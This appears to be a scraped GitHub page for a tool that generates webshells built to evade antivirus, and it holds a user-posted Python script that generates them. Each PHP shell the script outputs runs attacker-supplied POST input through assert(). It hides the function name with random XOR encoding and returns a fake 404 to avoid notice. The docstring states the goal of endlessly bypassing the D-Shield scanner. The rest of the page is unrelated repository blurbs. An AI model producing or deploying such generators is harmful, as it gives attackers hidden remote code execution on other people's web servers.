remove
yzddmr6 / webshell-venom Goto Github PK
View Code? Open in Web Editor NEW免杀webshell无限生成工具
免杀webshell无限生成工具
remove
怎样才能再吻你一遍PX
为什么php必须要一个字母
思路很不错,只是觉得使用php去生成不是很方便。根据你的php脚本,我简单写了py生成脚本。
#coding=utf-8
import random
'''
shell autor: Mr6
code autor: c0ny1<[email protected]>
date: 2019-05-29 11:56
description: 生成利用随机异或可无限免杀d盾的webshell
reference: https://github.com/yzddmr6/php_xor_bypass/
github: https://github.com/c0ny1/WorkScripts/tree/master/php_xor_bypass/
'''
func = 'assert'
shell = '''<?php
header('HTTP/1.1 404');
class {0}{2}
${1}=new {0}();
@${1}->c=$_POST['Mr6'];
?>'''
def random_keys(len):
str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def xor(c1,c2):
n1 = ord(c1)
n2 = ord(c2)
n3 = n1^n2
return chr(n3)
def build_func():
func_line = ''
key = random_keys(len(func))
call = '$db='
for i in range(0,len(func)):
enc = xor(func[i],key[i])
func_line += "$_%d='%s'^\"\\x%s\";" % (i,key[i],enc.encode('hex'))
func_line += '\n'
call += '$_%d.' % i
func_line = func_line.rstrip('\n')
call = call.rstrip('.') + ';'
func_tmpl = '''{
public $c='';
function __destruct(){
%s
%s
@$db ("$this->c");}}''' % (func_line,call)
return func_tmpl
def build_webshell():
className = random_name(4)
objName = className.lower()
func = build_func()
shellc = shell.format(className,objName,func)
return shellc
if __name__ == '__main__':
print build_webshell()
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.